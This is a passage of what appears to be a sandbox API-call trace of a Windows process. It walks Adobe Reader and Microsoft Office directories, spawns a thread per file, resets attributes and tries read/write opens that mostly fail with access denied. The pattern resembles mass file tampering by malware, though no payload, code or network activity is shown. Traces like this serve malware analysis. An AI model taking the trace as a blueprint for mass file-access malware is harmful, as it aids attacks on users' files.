hTemplateFile=0x0) returned 0xffffffff [0160.360] GetLastError () returned 0x5 [0160.360] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV", dwFileAttributes=0x20) returned 0 [0160.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad5c8) returned 1 Thread: id = 4713 os_tid = 0x488 [0160.361] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\checkers.hrv")) returned 0x20 [0161.443] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV", dwFileAttributes=0x20) returned 0 [0161.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\checkers.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.443] GetLastError () returned 0x5 [0161.443] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV", dwFileAttributes=0x20) returned 0 [0161.443] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad668) returned 1 Thread: id = 4714 os_tid = 0x46c [0160.362] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\digsig.hrv")) returned 0x20 [0162.280] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV", dwFileAttributes=0x20) returned 0 [0162.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\digsig.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.280] GetLastError () returned 0x5 [0162.280] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV", dwFileAttributes=0x20) returned 0 [0162.280] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b88c8) returned 1 Thread: id = 4715 os_tid = 0x1c0 [0160.363] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\dva.hrv")) returned 0x20 [0162.281] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV", dwFileAttributes=0x20) returned 0 [0162.281] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\dva.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.281] GetLastError () returned 0x5 [0162.281] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV", dwFileAttributes=0x20) returned 0 [0162.282] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8960) returned 1 Thread: id = 4716 os_tid = 0x540 [0160.364] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv")) returned 0x20 [0162.285] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV", dwFileAttributes=0x20) returned 0 [0162.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.285] GetLastError () returned 0x5 [0162.285] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV", dwFileAttributes=0x20) returned 0 [0162.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b89f8) returned 1 Thread: id = 4717 os_tid = 0x4e4 [0160.365] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\escript.hrv")) returned 0x20 [0162.286] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV", dwFileAttributes=0x20) returned 0 [0162.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\escript.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.286] GetLastError () returned 0x5 [0162.286] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV", dwFileAttributes=0x20) returned 0 [0162.286] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae568) returned 1 Thread: id = 4718 os_tid = 0x514 [0160.365] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv")) returned 0x20 [0162.300] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV", dwFileAttributes=0x20) returned 0 [0162.300] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.300] GetLastError () returned 0x5 [0162.300] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV", dwFileAttributes=0x20) returned 0 [0162.300] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8a90) returned 1 Thread: id = 4719 os_tid = 0x684 [0160.366] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\makeaccessible.hrv")) returned 0x20 [0162.287] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV", dwFileAttributes=0x20) returned 0 [0162.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\makeaccessible.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.287] GetLastError () returned 0x5 [0162.287] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV", dwFileAttributes=0x20) returned 0 [0162.287] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9363d8) returned 1 Thread: id = 4720 os_tid = 0x688 [0160.366] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\multimedia.hrv")) returned 0x20 [0162.288] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV", dwFileAttributes=0x20) returned 0 [0162.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\multimedia.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.289] GetLastError () returned 0x5 [0162.289] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV", dwFileAttributes=0x20) returned 0 [0162.289] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad208) returned 1 Thread: id = 4721 os_tid = 0x6b0 [0160.367] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\pddom.hrv")) returned 0x20 [0162.290] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV", dwFileAttributes=0x20) returned 0 [0162.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\pddom.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.290] GetLastError () returned 0x5 [0162.290] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV", dwFileAttributes=0x20) returned 0 [0162.290] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8b28) returned 1 Thread: id = 4722 os_tid = 0x834 [0160.367] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ppklite.hrv")) returned 0x20 [0162.301] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV", dwFileAttributes=0x20) returned 0 [0162.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ppklite.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.302] GetLastError () returned 0x5 [0162.302] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV", dwFileAttributes=0x20) returned 0 [0162.302] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494600) returned 1 Thread: id = 4723 os_tid = 0x880 [0160.368] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\rdlang32.hrv")) returned 0x20 [0162.293] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV", dwFileAttributes=0x20) returned 0 [0162.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\rdlang32.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.294] GetLastError () returned 0x5 [0162.294] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV", dwFileAttributes=0x20) returned 0 [0162.294] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494740) returned 1 Thread: id = 4731 os_tid = 0x1150 Thread: id = 4733 os_tid = 0x1300 [0160.922] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50748 [0160.922] wcscpy (in: _Dest=0x12c50748, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0160.922] wcscat (in: _Dest=0x12c50748, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0160.922] wcscat (in: _Dest=0x12c50748, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*" [0160.922] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910c80 [0160.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93aef8 [0162.939] wcscmp (_String1=".", _String2=".") returned 0 [0162.939] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.939] wcscmp (_String1="..", _String2=".") returned 1 [0162.939] wcscmp (_String1="..", _String2="..") returned 0 [0162.939] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0162.939] wcscmp (_String1="ANALYS32.XLL", _String2=".") returned 1 [0162.939] wcscmp (_String1="ANALYS32.XLL", _String2="..") returned 1 [0162.939] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0x9aeb08 [0162.939] wcscpy (in: _Dest=0x9aeb08, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0162.939] wcscat (in: _Dest=0x9aeb08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0162.939] wcscat (in: _Dest=0x9aeb08, _Source="ANALYS32.XLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" [0164.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9aeb08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140 [0164.898] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xe0c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATPVBAEN.XLAM", cAlternateFileName="ATPVBA~1.XLA")) returned 1 [0164.898] wcscmp (_String1="ATPVBAEN.XLAM", _String2=".") returned 1 [0164.898] wcscmp (_String1="ATPVBAEN.XLAM", _String2="..") returned 1 [0164.898] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ae6a8 [0164.898] wcscpy (in: _Dest=0x9ae6a8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0164.899] wcscat (in: _Dest=0x9ae6a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0164.899] wcscat (in: _Dest=0x9ae6a8, _Source="ATPVBAEN.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" [0164.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ae6a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0164.900] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="FUNCRES.XLAM", cAlternateFileName="FUNCRE~1.XLA")) returned 1 [0164.900] wcscmp (_String1="FUNCRES.XLAM", _String2=".") returned 1 [0164.900] wcscmp (_String1="FUNCRES.XLAM", _String2="..") returned 1 [0164.900] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0x9ae928 [0164.900] wcscpy (in: _Dest=0x9ae928, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0164.900] wcscat (in: _Dest=0x9ae928, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0164.900] wcscat (in: _Dest=0x9ae928, _Source="FUNCRES.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" [0164.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ae928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf9c [0164.902] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 1 [0164.902] wcscmp (_String1="PROCDB.XLAM", _String2=".") returned 1 [0164.902] wcscmp (_String1="PROCDB.XLAM", _String2="..") returned 1 [0164.902] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c77628 [0164.902] wcscpy (in: _Dest=0x12c77628, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0164.902] wcscat (in: _Dest=0x12c77628, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0164.902] wcscat (in: _Dest=0x12c77628, _Source="PROCDB.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" [0164.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c77628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa0 [0164.903] FindNextFileW (in: hFindFile=0x93aef8, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 0 [0164.903] FindClose (in: hFindFile=0x93aef8 | out: hFindFile=0x93aef8) returned 1 [0164.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910c80) returned 1 [0164.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50748) returned 1 [0164.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99eb08) returned 1 Thread: id = 4734 os_tid = 0x1334 [0160.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam")) returned 0x20 [0162.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM", dwFileAttributes=0x20) returned 0 [0162.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.614] GetLastError () returned 0x5 [0162.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM", dwFileAttributes=0x20) returned 0 [0162.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7328) returned 1 Thread: id = 4735 os_tid = 0x1338 [0160.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8cfd00 [0160.923] wcscpy (in: _Dest=0x8cfd00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" [0160.923] wcscat (in: _Dest=0x8cfd00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" [0160.923] wcscat (in: _Dest=0x8cfd00, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*" [0160.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910a18 [0160.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ae78 [0162.615] wcscmp (_String1=".", _String2=".") returned 0 [0162.615] FindNextFileW (in: hFindFile=0x93ae78, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.615] wcscmp (_String1="..", _String2=".") returned 1 [0162.615] wcscmp (_String1="..", _String2="..") returned 0 [0162.615] FindNextFileW (in: hFindFile=0x93ae78, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x20, 